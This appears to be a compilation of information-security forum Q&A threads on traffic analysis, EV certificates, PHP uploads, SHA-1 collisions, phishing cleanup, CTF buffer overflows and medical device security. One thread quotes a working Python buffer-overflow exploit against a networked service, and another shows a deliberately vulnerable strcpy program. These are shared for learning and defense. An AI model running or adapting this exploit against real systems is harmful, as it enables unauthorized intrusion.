Another thing to be aware of is traffic analysis against videos. This is an issue because video formats are compressed. This causes the raw upload rate to differ over time based on how effectively the given section of video can be compressed. This variable upload rate can be used to identify the fact that a video is being uploaded even if encryption is being used, though in most circumstances it cannot determine what the video is of. There is no effective way to prevent this while doing live video broadcasts if you are on their Wi-Fi. Anyone who looks at the logs will be able to see you uploading a constant variable-rate stream of data. This just screams "streaming live video". Doing this for 6 to 9 hours a day (as you mentioned you do in a comment) may be suspicious to anyone looking at your traffic flow if you don't have another reasonable explanation (e.g. remote meetings).
There is a simple solution, however: don't use their internet! This is easier than it sounds. You can buy a USB 3G/4G/5G dongle which will provide you with high-speed mobile internet (although not enough for HD video). You would likely want to purchase an unlimited data plan if you are uploading a lot. The only way to view this traffic would be to use specialize hardware. This is not likely unless your family is really interested in what you are doing. Chances are, they will not even know you are using a mobile dongle unless you tell them or they actually see it (and know what it is).
Note that not all areas have great bandwidth, and whether or not the upload bandwidth is sufficient depends on how high your video quality needs to be. I've been able to stream video over 4G and was satisfied with the results, but your millage may vary. Test it out before you rely on it.

Although the above should be sufficient for a general answer, you need to formulate a threat model, determining who your adversaries are, what positions they are in, what resources they have, what they are after, and what your assets are. Ask yourself a few questions. You must:

Determine the level of sophistication of your adversaries. Do they merely know the basics of networking? Does their profession involve network analysis? Are they PhD researchers who put out their own novel research related to networking? "Tech-savvy" encompasses many things.

Determine your adversaries' capabilities. Are they only able to access their own router logs? Do they have access to your computer, potentially allowing them to tamper with it? Is there a risk that they will walk in on you doing your cam shows? Might they overhear you outside the door?

Specify your assets. In other words, are you trying to hide the contents of the videos, their destination website, or the fact that you are uploading videos at all? Is it specifically the fact that you are a cam model that you are trying to hide, or exactly what requests you get from clients?

Quantify the threat. Do they not care at all to find out what you do, making accidental exposure the biggest risk? Are they merely curious what you are doing? Are they dead-set on finding out?

Analyze the risks. Would knowledge of the fact that you are a cam model simply be embarrassing? Would it risk you being disowned by your family? Would your very life be at risk?

Here is a hypothetical example of what a basic threat model might look like:

My adversary is my tech-savvy uncle.
He is a snoop and doesn't like the idea that anyone is doing something in secret.
He does incident response for a large ISP, so he knows the tricks of the trade.
He can only log network activity, not install cameras or tamper with my computer.
If he finds out what I'm doing, I will be pressured to stop and may lose my source of income.

A threat model will allow you to determine the best way to protect your assets.


Does Google use extended validation certificates? I just changed a password on a Google account while using the Chrome browser.
After doing so, I noticed that the https connection to Google was not highlighted in green signifying that it was an "Extended Validation Certificate".

Does Google not use "Extended Validation Certificates"?

If they do, then why wasn't their https connection highlighted in green?

Note: I work for CertSimple, which specialises in verifying site owners for EV certificates.

The answer is no. Google does not currently use Extended Validation certificates. Apple, Microsoft, Twitter, GitHub and most banks do. Google does not.

Why doesn't Google use an EV certificate?

Google does include a verified legal identity in their certificates - the google.com certificate is an OV certificate, which, like EV, asserts Google Inc as the owner of the public key in the certificate - thanks @lie-ryan for noticing this. OV is a predecessor of EV, but does not show any visual indicators of the identity to the end user.

I run a company that specialises in EV. Having had many conversations with Google staff about EV (and having some idea of the culture from having worked for Google in the past), the answer is typically one or more of the following:

Google's own certificates are checked by Chrome itself. Unless your Chrome binary is altered it's very unlikely you'll see a fake Google certificate.
Until recently it was difficult to get a working SSL cert for google.com.mg or google.com.im, as even domain validation CAs would do some minimum work to check for well known companies when issuing certs. This has changed as CAs now entirely automate the process and do not perform any more validation work than what the baseline requirements include.
Inertia: Google's original certificate was issued when 90's era background checks were replaced by domain validation by the CAs.
Requirements for wildcard certificates - EV requires all domains be verified by the CA and included in the certificate as SANs. While the cost wouldn't be an issue (Google run their own CA), the change in process would.
Belief that end users will notice the difference between DNS domains. Imagine the following sites pop up in your browser:

A https://www.google.co.uk/?gfe_rd=cr&ei=ZAjHVp-sCerW8ge956_YBA

B https://www.google.com.im/?gfe_rd=cr&ei=ZAjHVp-sCerW8ge956_YBA

C https://www.google.com/?gfe_rd=cr&ei=ZAjHVp-sCerW8ge956_YBA

D https://security.googleblog.com/

E https://googlehelp.com/

F https://www.withgoogle.com

If it wasn't obvious, A, C, D and F are controlled by Google Inc, B and E not.
Belief that EV background checks are is slow, painful and expensive. This is true, though we are working on addressing this.
Google does not have any data on the effectiveness of Chrome's EV UI and is this unsure of how effective it is.
The CAs have behaved incredibly poorly in the past - companies selling IE5 support until 2015, 'seal in search' injects logos into Google search results pages, Symantec's 2015 miss-issuance and subsequent non audit. Many of these things are profoundly user-hostile. As a result, there is mistrust between the browsers and CAs and even things that are pro-user, such as helping Alice connect to Bob's Bank Inc get caught up in the friendly fire.
Due to to the AMP project hosting content on google.com for prefetching purposes, a lot of full-page content not controlled by Google is now hosted on google.com. This includes phishing content (specifically, fake Google oauth pages). Having an EV certificate for a site with user generated full-page content could harm users.

Responding to the inaccuracies of the current answer

  Google wants added security in a technical sense, not visual cues.

Extended Validation is not added security by visual clues: it is added security by background checks, which assert the connection between a legal identity and a public key.

HSTS and HPKP keep users safe from all known attacks other than a local system compromise

This is incorrect. EV puts a legal entity inside the certificate, in the organization and jurisdictionOfIncorporatedName fields. These are then shown to the browser. If someone registers yourbank.com.mg, or yourbank.com.im, or any other domain they will be able to get a 'domain validated' certificate. However they will have a much harder time passing the EV background checks. HSTS and HPKP will not prevent the browser from connecting to the fake site.

instead Google created HSTS and HPKP

This is incorrect. HSTS, HPKP and EV serve different purposes: HSTS prevents protocol downgrade attacks, key pinning prevents certificate misissuance, EV provides association of a legal entity to the certificate. These are different goals and a solution to one categorically does not help with the others.

EV is marketing. It doesn't provide anything.

This is incorrect. From the EV guidelines

  The EV Certificate Warranties specifically include, but are not limited to, the following:

  (A) Legal Existence

  (B) Identity

  (C) Right to Use Domain Name

  (D) Authorization for EV Certificate

  (E) Accuracy of Information

  (F) Subscriber Agreement

  (G) Status

  (H) Revocation

Note that domain validated certificates do not assert any connection between a certificate and a legal entity. ie, the DV certificate on yourbanklogin.com doesn't make any assertion that the site has anything to do with Your Bank Ltd.

EV signals that the CA claims to have done more work in return

This is misleading: the CA has done more work. Additionally the CA's work is audited for compliance against the EV Audit Criteria Guidelines


PHP file upload: Order of security measures In a PHP file upload form, the name and extension of the file should be changed in order to prevent directory traversal attacks. I don't fully understand these attacks, therefore I'm uncertain if some of my other security checks might be prone to them.

I want to check file size and mime type:

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
$filesize = filesize($file['tmp_name']);
// check content of variables here

After that I want to move the file from the tmp directory to where they should be saved permanently with a secure file name.

Is the above code safe or should I move the file first and then do other security checks in order to prevent ever using $file['tmp_name'] (except for moving the file)?

Yes, you should first validate the file, then move it.

If you move it first, validate it, and then delete it if it is invalid, an attacker would have a small window where an attack may be possible.

Apart from that, tmp_name is safe to use as it is not user-controlled, so there is no reason to avoid using it. Note also that the finfo mime type check can be bypassed in some situations. That is also one of the reasons to change the filename. Directory traversal is generally not possible with "name" from $_FILES, but renaming the file - including the extension - can prevent execution of the file as PHP file (additional defenses would eg be to store the file outside of the web root so that it can't be accessed directly).


To what extent have SHA-1 collisions compromised application verification? It was recently revealed that the SHA-1 hash algorithm has been broken

Several effected areas are detailed such as for example git and document signing.
One thing that isn't mentioned is application integrity verification.

One application using SHA-1 for this is GnuPG. Even though they recommend to use an older version of gnupg to verify, the SHA-1 hash is used in case of new installs.

I'm asking what is the risk that compromised gnupg installs exist in the wild. With for example backdoors programmed in.

It is mentioned in the blog posts that no occurrences of this hack have been seen before in practice but would it not be possible that larger organizations have been working on this before the time frame of 2 years as the researchers have, and have therefore revealed this security flaw earlier?

Third party package repositories are vulnerable

There are two subtlely different contexts for this question. One is vulnerable and the other isn't.

If the application developer generates their own hash, this is still safe.
If there is a third-party repository, that accepts software from other developers, this is not safe.

This may seem a bizarre distinction. What is going on?

Secure hashes have two key properties:

Pre-image resistance - if you have a hash, you can't find the plaintext that generates that hash.
Collision resistance - you can't find two plaintexts that hash to the same value.

When an application developer generates their own hash, you are only relying on the first property for security. For a hacker to create malicious software that matches the legitimate hash, they would have to find a pre-image.

But with a third-party package repository you are relying on the second property. An attacker could create two bits of software: one benign, the other malicious - and craft them to cause a collision, i.e. they create the same hash. The attacker would submit the benign package to the repository, but then attack users with the malicious version.

It turns out that collision resistance is easier to defeat than pre-image resistance. The recent announcement only affects collision resistance. SHA-1 is thought to be secure against pre-image resistance.


website hacked - phishing form My Drupal 7.28 site has been hacked through the the tmp dir which was not protected by .htaccess file. The hacker managed to delete the main .htaccess file and upload some bogus google docs 2014 directory with php files to the site. After some work I managed to fix the site by getting rid of the offending php files and replacing the .htaccess files. Everything is fine now except that he/she managed to create a phishing form called gmail_webmail.html which originally comes with Google docs. This form which was originally a file he uploaded and I deleted is still viewable on my site. I don't know how he did it. There is no html file called gmail_webmail.html in the root Drupal directory yet when I go to www.mysite/gmail_webmail.html I get this form which Norton blocks right away. Google also warned me of the existence of this form. It is not a module as far as I can tell. Can anyone help? Thank you in advance.

Everything is fine now

no. some 3rd party had write-access to your server and you dont know what mailicous stuff is left behind.

  Can anyone help?

yes, get a professional to help you, this is serious since you are putting your users at risk.


running firefox as unprivileged user on Linux On a typical desktop (with no listening services such as Apache, SSH, ...) it seems to me, the browser is the most exposed application and a potential security compromise (and even more so with Java and Flash plugins. And judging from the constant security updates, this seems to be correct.

I am therefore wondering whether I could run Firefox (Iceweasel) as a different user, such as nobody. Even if firefox had a critical bug, the worst that could happen to me is that files owned by nobody would be compromised.

This seems like a graet idea. Is this actually doable? Would this have any disadvantages. Is it really a bluet-proof solution as I imagine it to be?

How would Firefox window owned by nobody access my display?

Is there perhaps a better way to make firefox more secure (i.e. jail) ?

I am using Debian Wheezy and LXDE Desktop environment.

CLARIFICATION

I should have perhaps formulated my question more clearly, but I thought it was too obvious to need elaborating. Ofcourse, I am not running firefox as root. I am running firefox (and everything else) as user martin. My question is concerning running firefox as another user than martin, while being logged in X as martin. I want to protect both root and martin from being compromised.

AppArmor or SELinux is probably a better solution than running Firefox as a different user.

As you mention, running any kind of new software (including Mandatory Access Controls like these) potentially introduces new vulnerabilities (I'm fairly sure some have been found for SELinux) but I think most agree that the tradeoff is worth it.


Exploit "Blind" buffer overflow in a lab In a CTF/exploitation lab, I am aware of two separate machines.

Developer machine: Windows 7 x64, as blank, as it can get (no KB patch)
Service machine: UNKNOWN

On Developer:

I have a source code file in C with a basic BoF vulnerability on a specific port and a compiled application of that source code. When I run the binary, I get an error with "missing api-ms-win-crt-runtime-l1-1-0.dll" and also I can not install, add, use that DLL unless I upgrade the developer machine to SP1. Therefore, I created a local VM with a blank Windows 7 x64 with "api-ms-win-crt-runtime-l1-1-0.dll" available. On my VM, I have a fully functional exploit.

On Service machine:

During a fuzzing trail and error procedure, I have identified that I can crush the target application on the same specific port due to a BoF vulnerability. Unfortunately, I can not execute any bind_tcp / reverse_tcp shell, ping back, dns request, nothing...

How can I ensure that I am pointing the EIP to the right address of a JMP ESP (for example) on the Service machine? Can I use addresses from "api-ms-win-crt-runtime-l1-1-0.dll"?

You should always be searching for an instruction (ex. JMP ESP) in an application lib first when writing exploits, as this will increase reliability across OSs/SPs.

What instruction did you use for your working exploit (more info on this will be very helpful)? If it was an OS library that is likely the issue, assuming the target is a different OS or SP level.

On x86 machines, I would use Immunity and mona.py to find appropriate instructions for your exploit. You can find a port of mona to x64dbg as well.

Given this is a CTF exercise, it should be possible with the information available to you, making me think that the application's libraries should be the answer. Another idea is -- what enumeration activities have you tried on the target machine? Can you pull back any information leaking more info about it?


How to get medical vendors to take security seriously? I work as a CISO/Director of Cybersecurity for a large hospital. My background is in penetration testing, but I'm fairly new (a couple years) to the healthcare side. The challenge that I and almost every healthcare security exec faces is securing with medical devices that are ghastly expensive to replace and have little or no security. (Except micro-segmtation and ACL's - I hear this as a catch-all solution all the time, but it's far easier said than done).
My question is how can the InfoSec community gather together and fundamentally reject the way medical  device providers are treating security? I have seriously thought about putting together and/or creating what I consider to be "Medical device" security best practices and taking it to HIMMS or something, but I don't know that it would get traction. GE, Phillips and the like are much larger than our purchase orders. I think the government is starting to back away from the "FDA approval" nonsense, but not sure this would be enough.
How have other such guidelines improved or organically matured over time?

I'm doubtful this is something the infosec community can change.  Healthcare is too specialized and the devices are typically proprietary closed black boxes.  You could develop a set of security standards and hold every vendor to those standards.  Those that fail the audit would be subject to replacement (see below).  There are lots of variations of security guidelines available, but honestly, the key to success is going to be strength in numbers... and dollars.
Companies that produce these "weak" products, like all other companies, work for money.  The best way to "encourage" better behavior is to hit them where it hurts... the wallet.
If you really want to enact change, and I certainly hope you can, get several large hospitals to ban together and tie your purchases and renewals to specific changes in the products you're buying.  Sure, GE and Phillips are monsters in comparison, but while companies treasure these super large customers, they can't depend only on them.  If only one of them decided to change vendors, it would hurt too much (ie. all eggs in a couple of baskets).  They still need other large and medium sized customers to balance out their revenue streams.
I work for a large software company and I have seen first-hand the impact a large angry customer can have on exactly what kinds of efforts we place in product development.  When more than one large customer pushes hard for the same feature, bug fix, whatever, the sales team beats up on the product development team and the improvements get made... fast.
Now, if you're like most large customers, you can't simply refuse to buy a key component of your business... say patient telemetry machines... because you have to have them.  But, chances are, you keep buying the same machines from the same company... I mean, most do because it's much easier to support a homogeneous environment.  So, let your vendors of these key devices know that after this purchase you will be looking to replace your entire estate of "telemetry machines" because of security concerns.  That will get their attention.
Some products are what we call "sticky".  That means that once a customer has implemented a solution, it's hard to get rid of... and the vendors of these products know it and will start to take customers for granted.  Tell the vendors of these sticky devices that you're putting out an RFP to their competitors.  Talk about a scramble!  Now, imagine several large customers all telling a particular vendor the same thing.
Also, for products that require licensing & maintenance renewals... tie the renewals and new license purchases to specific feature requests and security enhancements.  ie. Make it part of the renewal contract that the vendor will implement A..B..and C within 12 months (or whatever).  That way, they are contractually obligated to make the changes.  You don't even have to threaten them if they don't meet the goal.  At that point it's a breech of contract scenario and let the lawyers deal with it.
If you can get more large hospitals to demand the same things, the power of your request will be magnified significantly.


How do I wipe a disk that DBAN can't read? I have a Samsung 850 SSD that has recently been dying on me -- there appear to be some memory issues. I'm considering sending in the drive for replacement under the warranty program, but it contains some important unencrypted information. The people at Samsung have assured me that they wipe all incoming disks, but I want to be sure.

As such, I want to wipe the drive before sending it in. The trouble is that due to the drive having memory issues, none of my software can work with the drive. My systems can pick it up as present, but not read from/write to it -- even DBAN can't overwrite it. What should I do?

Is there a way that I can figure out which parts of the drive are still readable? Are there any tools that can write data to malfunctioning drives?

At a stage where the OS cannot do even raw read/writes to the disk you have usually lost as a normal user. Further access is probably only possible by using special functions in the firmware which only the vendors knows, using a special firmware or getting physical access to the chips, depending on the cause of the problem.

None of these are available to the average user and use of these methods would cause loss of warranty anyway. Your only options at this stage are either to trust the manufacturer or to shred the disk and abandon warranty. Keep in mind that you already trusted the manufacturer in the first place by buying a disk in the hope that the firmware does not contain any backdoor.


Requirments for a PCI Compliant Sales Receipts I work with a software development company and we have a client that is asking us to change the coding in our software that allows for the signers name to print on the customers receipt. They are citing that it is a PCI compliance issue however I cannot find any example or regulation that states a card holders name has to be shown on for a signed retail transaction.  Could you please advise or point me to any PCi documentation for that requirement?

When people say PCI, they usually mean the PCI DSS ("Data Security Standard").  That doesn't address your question, however; it has much more to do with backend systems and online processes.  On the question of receipts, all the DSS says is "Mask PAN data before printing on a receipt" and "Protect receipts in storage."

The card brands and the banks have more extensive requirements, and that's probably what you're looking for - for example, the Visa Rules.  Looking at the current revision, cardholder name is only required in a specific instance:

I could be wrong - it's not spelled out - but I believe "manually imprinted" refers to old-fashioned receipts formed by sticking the card and a carbon paper duplicate form into a small tray and CHUNK-CHUNK imprinting the card number onto the paper by slamming a sliding weight back and forth.  So I don't think that requirement applies to you.  And it expired in April 2017 anyway.

Simplest solution is to tell the client that you need a reference to the documented requirement before you can implement it correctly.  If they provide a reference, and it applies, then you should implement it.  If they can't, then you can't implement it according to (nonexistent) specification, and shouldn't try, and you can just tell them that.


Python exploit question? Can someone please explain how and why this struct.pack code is used in the below exploit? I'm trying to understand how it triggers the vulnerability. I understand the buffer overflow aspect, I'm referring to the below struct.pack method. I'm a ruby guy myself, and did some prelim digging into the sruct.pack code below but still don't understand how it triggers the vuln, and why its needed. I'm in the process of porting the sploit to an msf module, and at this point I have verified the exploit works, but fail to understand how it works.

s.send(struct.pack('>I',len(buff) ))

struct writes/reads binary data.
pack returns string containing values '>I',len, buff ... packed according to given format.
> represents big endian byte alignment (standard size no alignment)
I format character = integer python type (4 byte packed value)
len = buffer length

Ref:
http://docs.python.org/2/library/struct.html#struct.pack
http://www.exploit-db.com/exploits/31762/

#!/usr/bin/env python

import socket
import struct
import ctypes

RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell
s.send(struct.pack('>I',len(buff) ))
s.send(buff)

I don't think that the code you are marking is the one achieving to exploit the bug:

  s.send(struct.pack('>I',len(buff) ))

What this line is doing is sending the length of the buffer he is going to send right behind in the proper endiannes (Big Endian or network endiannes).

I believe that the exploit itself will have to do with the lengths of the "buff" variable sent which will be probably badly managed:

  A stack buffer overflow occurs when copying a user supplied input to a stack buffer of user supplied size.


How did someone log-in to my Gmail account from Kenya? While on holiday in France in May I received an email from Google "New sign-in".

  Your Google Account was just used to sign in:

  Nairobi, Kenya. Tuesday, 26 May 2015 22:10 (East Africa Time).

I hastily changed my password. I've never been to Kenya.

My question is: How did this happen? I believe I practised good security:

My password was long—four words similar to smoke daily us sitting (I chose this password in 2014, upgrading from something similar to m0zzarella).
I never used this password for anything else.
I used two-factor authentication to receive codes by SMS (no smartphone, so no authenticator app).
I created an app-specific password for my phone's email app (Nokia S40 phone).

Why didn't two-factor authentication stop the hacker? Here's what I did on holiday:

Checked my email
Used a web browser on my phone to log in to a Google website.

I can't remember which web browser I used. I had both Nokia Xpress (default browser) and Opera Mini. (Since then a software upgrade replaced the default browser with a version of Opera Mini). I know both of these work by 'sending the data via their servers'.

Is it possible a password or SMS was intercepted? All this happened while I was on holiday and using a foreign phone network. Has this happened to anyone else?

It's a shame Google didn't prevent the sign-in. Previously on another account Google contacted me "Suspicious sign-in prevented" when someone tried to log in from China.

Your password was not stolen. As you pointed out, Opera Mini uses proxy servers. Per the link provided in thexacre's answer, Google incorrectly identifies the servers as being in Nairobi, Kenya:

  When you use Opera Mini, you're connected to Opera servers, which
  download websites you want, compress and transform them, and at the
  end they are sent to your phone. So the idea is similar to proxy
  servers. IP address on the screenshot you attached is in fact one of
  Opera Mini servers, so you shouldn't be worried. I don't know why it's
  detected as Kenya, you'd better ask Google.

So everything was fine except for Google's IP geolocation.


What use does verifying a file with a signature downloaded from the same server have? Now, I understand how PGP signatures work and why they can be useful to check if a file has been manipulated but this has always bugged me, if I download a file from a site/server, and read:

  "always make sure to verify your download!!1!"

with a PGP signature from the same site (tails offers a browser extension for noobs),

then how does this add any kind of security?

If you have access to the server and can change one file, surely you can update the signature-file accordingly. So does this make sense?

It would be possible for a hacked website to host a fraudulent key that has signed a fraudulent piece of software, however, one could verify they have the correct key from other places on the internet, and many time these signing keys are signed as valid by somebody else. Once they are confirmed as valid, they will be used for years into the future until the key expires or the certificate is revoked. These keys many times are available on a key server as well, available with a verification signature, or you might already have the key in your keyring ahead of time as previously mentioned. Also, if an attacker did this, it would be an unexpectedly used key, versus every other time they signed software, which would be very noisy and detectable. It would mainly be an attack on everyone who didn't already have the real key.

Since there is a wide array of places the public key can be verified and acquired from, it is much less likely that someone will receive and use a bad public key, and if this attack succeeded, it would be very short lived.


Opal 2.0 motherboard compatibility I need to know if my motherboard is Opal 2.0 compatible.
I have asked the question to it's manufacturer but he answers that he doesn't know, claiming that the tests to determine the Opal 2.0 compatibility haven't been done (and probably won't be done).

So how can I know/check if my motherboard is Opal 2.0 compliant ?

The OPAL Specification includes test cases that must pass in order to claim OPAL compliance. But these are to be done by the vendor, not the end-user. You would need a special testing rig to run these tests to see if the component is compliant.

If the vendor says that they have not run the tests, then they cannot claim compliance. They might incidentally be compliant, but you might never know.


what kind of signature to require in a medical B2C environment I can't seem to find what is standard practice regarding signing/validating pdf files in a medical B2C environment. (A chiropractor's practice counts as medical, doesn't it?)

I find quite a bit about how to include signature fields that require certificates, and plenty of little programs and how-to's geared towards end users. However, far as I know, most people don't have a clue how to generate their own certificate, and would be scared off by such a requirement. I'm also not keen on requiring customers to download some possibly-dubious program to sign it.

About the only thing I have been able to find even approaching helpfulness is the bit at the top of this page about "Quick PDF sign". Is that strong enough for B2C validation though? Is it standard practice?

I assume now that you are talking about document the customer signs and sends to you, like a order or request for medical service:

Most solutions I have seen in this case, involves external signing. Ergo, you don't sign using PDF signing functions, but instead, sign the whole file as an opaque data object.
The reason is that PDF signing either requires a valid CA, or a imported "home-brew CA" for the PDF reader to see the signature as genuine.

Here in sweden, when doing medical services, you fill out the PDF form (or web form or whatever), and then upload it to the medical service. Then you use a electronic ID, here in sweden its called "Mobilt BankID" (Mobile ID app) but I really don't know what you use in your country, to sign it.

And when signing it, you basically take the hash of the file (SHA-1), and send to the electronic signing service. For example:
"Signing file form_2016-11-11_00:05.pdf with SHA1 validation value 5C:1C:2D...(rest of SHA-1 hash)"

Then you effectively save the signature you get from the electronic ID service, along with the PDF.
If any doubts of tampering appears, you can show that the received PDF file's hash matches the hash inside the electronic ID signature message, and the signature of the message matches the actual signature.

Note that you cannot tamper with the PDF file, like adding notes and such. If you need to add content to the PDF, you have to copy the PDF to a new file, that you can add notes to.

Even if most users do not understand how to verify the hash matches the PDF when they get the on-screen message "to sign a file with hash XX:XX:XX....", it does not matter. Its enough that a few users do understand how to verify it to make tampering a too high detection risk for a attacker.

There must be some official solution (like some government electronic ID or something) intended for customer usage, that is OK to use according to HIPAA or DPA.

However, if you instead are about to sign documents that you are sending to the customer, its enough to purchase a certificate intended for document signing. Then you use PDF signing tools to sign the PDF.
The PDF can then be viewed on any computer, and if the PDF software supports digital signatures, the signature will be validated automatically. The customer does NOT need to install any custom software.


Use PHP to check uploaded image file for malware? I want my users to be able to upload a photo. Currently I am not checking the uploaded photo for problems of any kind, although I do limit the size to 32k.
Is there any way for me to check uploaded image files for malware? For instance, is there a server out there running ClamAV that I can access from PHP? Thanks.

This has been answered before on this site, in extensive detail.  See these questions:

What are the security risks of letting the users upload content to my site?
Is it necessary to scan users' file uploads by antivirus?
Antivirus for scanning anonymous file uploads
What steps should be taken to validate user uploaded images within an application?
What are security risks of serving user uploaded files without Content-Disposition?
Why should I restrict the content type of files be uploaded to my site?
Is it safe to store and replay user-provided mime types?
Is it safe to serve any user uploaded file under only white-listed MIME content types?

For general advice relating to web security, OWASP is always a good resource, too.


How should I set up emergency access to business-critical secrets in case I am "hit by a bus"? I work as the primary developer and IT administrator for a small business. I want to ensure that business can continue even if I suddenly become unavailable for some reason. Much of what I do requires access to a number of servers, (through key-based ssh), cloud services, and other secure infrastructure of applications. Some of these services use MFA, either using dedicated MFA apps (like Amazon) or SMS.

How do I ensure that my "hit by a bus" plan and documentation is complete and comprehensive, but that this documentation is not itself a security risk?

The documentation will be hosted on a shared file server behind our VPN, but that can also be accessed using a third party web frontend that puts a "DropBox"-like interface on top of the base file server (i.e. authentication, desktop syncing, file sharing, etc). The files are in a location where only I, and other file server administrators can see them.

How should I manage the "secrets" (passwords, private keys, MFA access) in this documentation to ensure it remains comprehensive without compromising security?

My advice would be to remove the secrets from the drop-box and store them elsewhere.  Your instructions have to be easily human readable by anyone, but they can include instructions on how to get access to the properly secured part of the data.  That lets you separate the accessibility side of things from the security side.

Once you can think about security on its own, you can start to ask the real question of how much do you need to protect these keys?  This is a business logic question, so consult your management.  You might:

Have a password to a file that everyone knows
Have a file set up with multiple passwords so that each individual maintains their own copy.
Have a file locked by a M-out-of-N algorithm (the digital equivalent of requiring two keys to unlock a safe).
Have a M-out-of-N algorithm with one 'master' password required regardless of which group of individuals unlocks the file, and that one master is physically kept in a tamper-evident safe that you check every now and then.

Use creativity here.  Whatever you do, the decoupling of "instructions" with "sensitive information" frees you to properly safeguard the information, and then provide instructions on how to get that data later.

Your business logic decisions will also include uptime questions.  If something goes wrong in your life, how long does another admin have to take over your work before business is affected?  Consider how well replicated you want these instructions and sensitive information to be in case of server glitches.  When I was administering a server and needed to store instructions on how to restore it from backup, I used the server's own wiki to store that information for easy viewing, but obviously that wouldn't be so useful in a glitch scenario, so I also had a copy on the dev VM of that machine, saved off copies of it on 3 separate PCs and a printout.  I couldn't guarantee the printout would stay up to date, but I made sure that I could do my best.

This also points out something which is not always part of a hit by the bus plan: graceful degradation.  Not all hit-by-the-bus scenarios involve getting hit by a bus.  Some involve you just being inaccessible at an unfortunate time.  Some involve you leaving the company, but being available for a question or two.  Others... do not.  Consider layering the plan.  Small mishaps may be very well protected, while greater mishaps may still result in business loss while everyone gets things together, but nothing permanent.  To use my backup restoration plan as an example, the printed version was almost guaranteed not to be fully up to date.  But if lightning wiped out every computer for a city block, it was still more helpful than nothing.  On the other hand, if the server just thew a harddrive, and I had to restore from backup, the version I kept sync'd on the dev box was almost certainly up to date.

Example of this failing: I was a user on a network managed by KERBEROS by an admin that was distrustful of others and did not have a hit-by-a-bus plan.  When he... left, we had a hacking party to try to break his server.  In the end, our best impromptu hit-by-a-bus plan was to wipe the machines (every one of them) and start from scratch.  Note that, while this wasn't the best plan (in fact, I think its the worst plan?), the business kept moving.  We just got stagnated for about two days and had a bunch of grumpy customers.  In the words of Frank Herbert's Dune, "The spice must flow."  Even in the worst case (which may involve a curious incident involving your server's harddrive flung out of the bus and hitting you on the head, destroying all record of the hit-by-a-bus plan), business does have a way to keep moving... but I approve of trying to raise the bar a wee bit more than that!


Api authorization basic concepts in detail I am trying to write an application is rails. Which is more like a api application so that when a user gets redirected from his application into mine I would like to authorize him and start a session for his own. This session must be open till he leaves my application. How can I do this?

http://en.wikipedia.org/wiki/OAuth

http://en.wikipedia.org/wiki/OpenID

OAuth is an open standard to authorization. OAuth provides client applications a 'secure delegated access' to server resources on behalf of a resource owner. It specifies a process for resource owners to authorize third-party access to their server resources without sharing their credentials. Designed specifically to work with Hypertext Transfer Protocol (HTTP), OAuth essentially allows access tokens to be issued to third-party clients by an authorization server, with the approval of the resource owner, or end-user. The client then uses the access token to access the protected resources hosted by the resource server.[1] OAuth is commonly used as a way for web surfers to log into third party web sites using their Google, Facebook or Twitter accounts, without worrying about their access credentials being compromised.[2]

OAuth is a service that is complementary to, and therefore distinct from, OpenID. OAuth is also distinct from OATH, which is a reference architecture for authentication, not a standard.


Unable to understand $EIP changes with Buffer Overflow I am learning Buffer Overflow, so the question might seem silly but here it is.
I started with this very simple buggy program

int main(int argc, char *argv[])
{
  char buf[128];
  printf("You entered value %s\n", argv[1]);
  strcpy(buf,argv[1]);
  printf("%s\n", buf);
  printf("Program is exitting normally!!\n\n\n");
  return 0;
}

Now when I turn gdb on and run it with a simple set of input HElooooooooooooooooooooooooo, it works normally with eip set to very next instruction after strcpy function.

0x565555ce <+81>:   call   0x56555400 <strcpy@plt>
0x565555d3 <+86>:   add    $0x10,%esp
0x565555d6 <+89>:   sub    $0xc,%esp
0x565555d9 <+92>:   lea    -0x98(%ebp),%eax

$eip contains 0x565555d3 and I can see Little Endian version of my input smoothly. Things work fine.

(gdb) x/40x $esp
0xffffd260: 0xffffd270  0xffffd566  0xf7ffdaf8  0x56555598
0xffffd270: 0x6f6c4548  0x6f6f6f6f  0x6f6f6f6f  0x6f6f6f6f
0xffffd280: 0x6f6f6f6f  0x6f6f6f6f  0x6f6f6f6f  0x00000000
0xffffd290: 0x00000000  0x00000001  0xf7ffd940  0x000000c2

But when I provide it with 1000 A's. I expect to see corrupted area around $esp and an expected corrupted value of $eip something like 0x41414141 but neither of it happens.

After corruption, area around $esp looks pretty normal

(gdb) x/40x $esp
0xffffd27c: 0x565555d3  0xffffd290  0x00000000  0xf7ffdaf8
0xffffd28c: 0x56555598  0x00000000  0xf7fdff8b  0x5655523c
0xffffd29c: 0xffffd2fc  0xf7ffda9c  0x00000001  0xf7fcf410
0xffffd2ac: 0x00000001  0x00000000  0x00000001  0xf7ffd940
0xffffd2bc: 0x000000c2  0x00000000  0x00ca0000  0x00000000
0xffffd2cc: 0xf7ffd000  0x00000000  0x00000000  0x00000000
0xffffd2dc: 0xa7a40500  0x00000009  0xffffd56c  0xf7e03fa9
0xffffd2ec: 0xf7fac748  0xf7fa9000  0xf7fa9000  0x00000000

and $eip becomes 0xf7e62238 which obviously is not the right value of the next instruction after strcpy so it means something has changed it.

Now I am unable to find two things.

Where are all A's?
How $eip has changed like that?

I am using following command to disable protection plus I have changed /proc/sys/kernel/randomize_va_space to 0. gcc version is 7.3.0.

gcc -fno-stack-protector -zexecstack -m32 -o overflow overflow.c

Is there something preventing overflow which I have missed or something else?

Try using the Switch "-g" , when you compile your c File with gcc.

Or there is something with the Security Features, that prevent your Code.

Did you try to break your Code ?

E.g.

  "break main" and "break 5" and "break 8"

  on "break 8" you might try to examine the buffer "x/s buf" or "x/40x buf" ?

Before ending the Program you should see a message that it can't access Address 0x41414141. After continuing you should see an error message.


